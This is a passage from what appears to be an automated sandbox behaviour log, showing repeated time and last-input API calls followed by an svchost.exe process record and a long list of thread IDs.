lpSystemTimeAsFileTime=0x5ccf0c0*(dwLowDateTime=0x5f2ab750, dwHighDateTime=0x1d56bd6)) [0270.519] GetLastInputInfo (in: plii=0x25c7f6c | out: plii=0x25c7f6c) returned 1 [0271.533] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x5ccf0c0 | out: lpSystemTimeAsFileTime=0x5ccf0c0*(dwLowDateTime=0x5fc570b0, dwHighDateTime=0x1d56bd6)) [0271.533] GetLastInputInfo (in: plii=0x25c7f6c | out: plii=0x25c7f6c) returned 1 [0272.547] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x5ccf0c0 | out: lpSystemTimeAsFileTime=0x5ccf0c0*(dwLowDateTime=0x60602a10, dwHighDateTime=0x1d56bd6)) [0272.547] GetLastInputInfo (in: plii=0x25c7f6c | out: plii=0x25c7f6c) returned 1 [0273.561] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x5ccf0c0 | out: lpSystemTimeAsFileTime=0x5ccf0c0*(dwLowDateTime=0x60fae370, dwHighDateTime=0x1d56bd6)) [0273.561] GetLastInputInfo (in: plii=0x25c7f6c | out: plii=0x25c7f6c) returned 1 [0274.575] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x5ccf0c0 | out: lpSystemTimeAsFileTime=0x5ccf0c0*(dwLowDateTime=0x61959cd0, dwHighDateTime=0x1d56bd6)) [0274.575] GetLastInputInfo (in: plii=0x25c7f6c | out: plii=0x25c7f6c) returned 1 [0275.589] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x5ccf0c0 | out: lpSystemTimeAsFileTime=0x5ccf0c0*(dwLowDateTime=0x62305630, dwHighDateTime=0x1d56bd6)) [0275.589] GetLastInputInfo (in: plii=0x25c7f6c | out: plii=0x25c7f6c) returned 1 [0276.603] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x5ccf0c0 | out: lpSystemTimeAsFileTime=0x5ccf0c0*(dwLowDateTime=0x62cb0f90, dwHighDateTime=0x1d56bd6)) [0276.603] GetLastInputInfo (in: plii=0x25c7f6c | out: plii=0x25c7f6c) returned 1 [0277.617] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x5ccf0c0 | out: lpSystemTimeAsFileTime=0x5ccf0c0*(dwLowDateTime=0x6365c8f0, dwHighDateTime=0x1d56bd6)) [0277.617] GetLastInputInfo (in: plii=0x25c7f6c | out: plii=0x25c7f6c) returned 1 [0278.631] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x5ccf0c0 | out: lpSystemTimeAsFileTime=0x5ccf0c0*(dwLowDateTime=0x64008250, dwHighDateTime=0x1d56bd6)) [0278.631] GetLastInputInfo (in: plii=0x25c7f6c | out: plii=0x25c7f6c) returned 1 [0279.645] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x5ccf0c0 | out: lpSystemTimeAsFileTime=0x5ccf0c0*(dwLowDateTime=0x649b3bb0, dwHighDateTime=0x1d56bd6)) [0279.645] GetLastInputInfo (in: plii=0x25c7f6c | out: plii=0x25c7f6c) returned 1 [0280.660] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x5ccf0c0 | out: lpSystemTimeAsFileTime=0x5ccf0c0*(dwLowDateTime=0x6535f510, dwHighDateTime=0x1d56bd6)) [0280.660] GetLastInputInfo (in: plii=0x25c7f6c | out: plii=0x25c7f6c) returned 1 [0281.673] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x5ccf0c0 | out: lpSystemTimeAsFileTime=0x5ccf0c0*(dwLowDateTime=0x65d0ae70, dwHighDateTime=0x1d56bd6)) [0281.673] GetLastInputInfo (in: plii=0x25c7f6c | out: plii=0x25c7f6c) returned 1 [0282.687] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x5ccf0c0 | out: lpSystemTimeAsFileTime=0x5ccf0c0*(dwLowDateTime=0x666b67d0, dwHighDateTime=0x1d56bd6)) [0282.687] GetLastInputInfo (in: plii=0x25c7f6c | out: plii=0x25c7f6c) returned 1 [0283.701] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x5ccf0c0 | out: lpSystemTimeAsFileTime=0x5ccf0c0*(dwLowDateTime=0x67062130, dwHighDateTime=0x1d56bd6)) [0283.701] GetLastInputInfo (in: plii=0x25c7f6c | out: plii=0x25c7f6c) returned 1 [0284.715] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x5ccf0c0 | out: lpSystemTimeAsFileTime=0x5ccf0c0*(dwLowDateTime=0x67a0da90, dwHighDateTime=0x1d56bd6)) [0284.715] GetLastInputInfo (in: plii=0x25c7f6c | out: plii=0x25c7f6c) returned 1 [0285.729] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x5ccf0c0 | out: lpSystemTimeAsFileTime=0x5ccf0c0*(dwLowDateTime=0x683b93f0, dwHighDateTime=0x1d56bd6)) [0285.729] GetLastInputInfo (in: plii=0x25c7f6c | out: plii=0x25c7f6c) returned 1 [0286.743] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x5ccf0c0 | out: lpSystemTimeAsFileTime=0x5ccf0c0*(dwLowDateTime=0x68d64d50, dwHighDateTime=0x1d56bd6)) [0286.743] GetLastInputInfo (in: plii=0x25c7f6c | out: plii=0x25c7f6c) returned 1 [0287.757] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x5ccf0c0 | out: lpSystemTimeAsFileTime=0x5ccf0c0*(dwLowDateTime=0x697106b0, dwHighDateTime=0x1d56bd6)) [0287.757] GetLastInputInfo (in: plii=0x25c7f6c | out: plii=0x25c7f6c) returned 1 [0288.771] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x5ccf0c0 | out: lpSystemTimeAsFileTime=0x5ccf0c0*(dwLowDateTime=0x6a0bc010, dwHighDateTime=0x1d56bd6)) [0288.771] GetLastInputInfo (in: plii=0x25c7f6c | out: plii=0x25c7f6c) returned 1 [0289.785] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x5ccf0c0 | out: lpSystemTimeAsFileTime=0x5ccf0c0*(dwLowDateTime=0x6aa67970, dwHighDateTime=0x1d56bd6)) [0289.785] GetLastInputInfo (in: plii=0x25c7f6c | out: plii=0x25c7f6c) returned 1 [0290.800] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x5ccf0c0 | out: lpSystemTimeAsFileTime=0x5ccf0c0*(dwLowDateTime=0x6b4132d0, dwHighDateTime=0x1d56bd6)) [0290.800] GetLastInputInfo (in: plii=0x25c7f6c | out: plii=0x25c7f6c) returned 1 [0291.813] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x5ccf0c0 | out: lpSystemTimeAsFileTime=0x5ccf0c0*(dwLowDateTime=0x6bdbec30, dwHighDateTime=0x1d56bd6)) [0291.813] GetLastInputInfo (in: plii=0x25c7f6c | out: plii=0x25c7f6c) returned 1 [0292.827] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x5ccf0c0 | out: lpSystemTimeAsFileTime=0x5ccf0c0*(dwLowDateTime=0x6c76a590, dwHighDateTime=0x1d56bd6)) [0292.827] GetLastInputInfo (in: plii=0x25c7f6c | out: plii=0x25c7f6c) returned 1 [0293.841] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x5ccf0c0 | out: lpSystemTimeAsFileTime=0x5ccf0c0*(dwLowDateTime=0x6d115ef0, dwHighDateTime=0x1d56bd6)) [0293.841] GetLastInputInfo (in: plii=0x25c7f6c | out: plii=0x25c7f6c) returned 1 [0294.855] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x5ccf0c0 | out: lpSystemTimeAsFileTime=0x5ccf0c0*(dwLowDateTime=0x6dac1850, dwHighDateTime=0x1d56bd6)) [0294.855] GetLastInputInfo (in: plii=0x25c7f6c | out: plii=0x25c7f6c) returned 1 [0295.869] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x5ccf0c0 | out: lpSystemTimeAsFileTime=0x5ccf0c0*(dwLowDateTime=0x6e46d1b0, dwHighDateTime=0x1d56bd6)) [0295.869] GetLastInputInfo (in: plii=0x25c7f6c | out: plii=0x25c7f6c) returned 1 [0296.884] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x5ccf0c0 | out: lpSystemTimeAsFileTime=0x5ccf0c0*(dwLowDateTime=0x6ee18b10, dwHighDateTime=0x1d56bd6)) [0296.884] GetLastInputInfo (in: plii=0x25c7f6c | out: plii=0x25c7f6c) returned 1 Thread: id = 215 os_tid = 0x540 Thread: id = 233 os_tid = 0x618 Process: id = "10" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0x79033000" os_pid = "0x370" os_integrity_level = "0x4000" os_privileges = "0xe60b1e890" monitor_reason = "rpc_server" parent_id = "9" os_parent_pid = "0x608" cmd_line = "C:\\Windows\\system32\\svchost.exe -k netsvcs" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "64" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\BDESVC" [0xa], "NT SERVICE\\BITS" [0xa], "NT SERVICE\\CertPropSvc" [0xa], "NT SERVICE\\EapHost" [0xa], "NT SERVICE\\hkmsvc" [0xa], "NT SERVICE\\IKEEXT" [0xa], "NT SERVICE\\iphlpsvc" [0xa], "NT SERVICE\\LanmanServer" [0xa], "NT SERVICE\\MMCSS" [0xe], "NT SERVICE\\MSiSCSI" [0xa], "NT SERVICE\\RasAuto" [0xa], "NT SERVICE\\RasMan" [0xa], "NT SERVICE\\RemoteAccess" [0xa], "NT SERVICE\\Schedule" [0xa], "NT SERVICE\\SCPolicySvc" [0xa], "NT SERVICE\\SENS" [0xa], "NT SERVICE\\SessionEnv" [0xa], "NT SERVICE\\SharedAccess" [0xa], "NT SERVICE\\ShellHWDetection" [0xa], "NT SERVICE\\wercplsupport" [0xa], "NT SERVICE\\Winmgmt" [0xa], "NT SERVICE\\wuauserv" [0xa], "NT AUTHORITY\\Logon Session 00000000:0000d30b" [0xc0000007], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Thread: id = 165 os_tid = 0x5d0 Thread: id = 166 os_tid = 0x314 Thread: id = 167 os_tid = 0x328 Thread: id = 168 os_tid = 0x5ac Thread: id = 169 os_tid = 0x7e8 Thread: id = 170 os_tid = 0x7d0 Thread: id = 171 os_tid = 0x7c8 Thread: id = 172 os_tid = 0x7c0 Thread: id = 173 os_tid = 0x7bc Thread: id = 174 os_tid = 0x7b4 Thread: id = 175 os_tid = 0x7ac Thread: id = 176 os_tid = 0x7a8 Thread: id = 177 os_tid = 0x7a4 Thread: id = 178 os_tid = 0x79c Thread: id = 179 os_tid = 0x798 Thread: id = 180 os_tid = 0x794 Thread: id = 181 os_tid = 0x78c Thread: id = 182 os_tid = 0x788 Thread: id = 183 os_tid = 0x784 Thread: id = 184 os_tid = 0x77c Thread: id = 185 os_tid = 0x778 Thread: id = 186 os_tid = 0x768 Thread: id = 187 os_tid = 0x140 Thread: id = 188 os_tid = 0x434 Thread: id = 189 os_tid = 0x49c Thread: id = 190 os_tid = 0x474 Thread: id = 191 os_tid = 0x454 Thread: id = 192 os_tid = 0x42c Thread: id = 193 os_tid = 0x428 Thread: id = 194 os_tid = 0x424 Thread: id = 195 os_tid = 0x418 Thread: id = 196 os_tid = 0x3d4 Thread: id = 197 os_tid = 0x3a0 Thread: id = 198 os_tid = 0x3fc Thread: id = 199 os_tid = 0x3f4 Thread: id = 200 os_tid = 0x3e8 Thread: id = 201 os_tid = 0x39c Thread: id = 202 os_tid = 0x390 Thread: id = 203 os_tid = 0x38c Thread: id = 204 os_tid = 0x388 Thread: id = 205 os_tid = 0x37c Thread: id = 206 os_tid = 0x374 Thread: id = 216 os_tid = 0x510 Thread: id = 217 os_tid = 0x790 Thread: id = 218 os_tid = 0x6f0 Thread: id = 219 os_tid = 0x604 Thread: id = 220 os_tid = 0x714 Thread: id = 221 os_tid = 0x48c Thread: id = 222 os_tid = 0x628 Thread: id = 223 os_tid = 0x670 Thread: id = 224 os_tid = 0x6e8 Thread: id = 225 os_tid = 0x620 Thread: id = 226 os_tid = 0x624 Thread: id = 227 os_tid = 0x66c Thread: id = 228 os_tid = 0x7e4 Thread: id = 229 os_tid = 0x448 Thread: id = 230 os_tid = 0x444 Thread: id = 231 os_tid = 0x7c8 Thread: id = 232 os_tid = 0x7d0 Thread: id = 234 os_tid = 0x230 Thread: id = 235 os_tid = 0x470 Thread: id = 236 os_tid = 0x64c Thread: id = 237 os_tid = 0x62c Thread: id = 238 os_tid = 0x724 Thread: id = 239 os_tid = 0x60c Thread: id = 240 os_tid = 0x550 Thread: id = 241 os_tid = 0x784 Thread: id = 242 os_tid = 0x658 Thread: id = 243 os_tid = 0x4a8 Thread: id = 244 os_tid = 0x694 Thread: id = 245 os_tid = 0x288 Thread: id = 246 os_tid = 0x134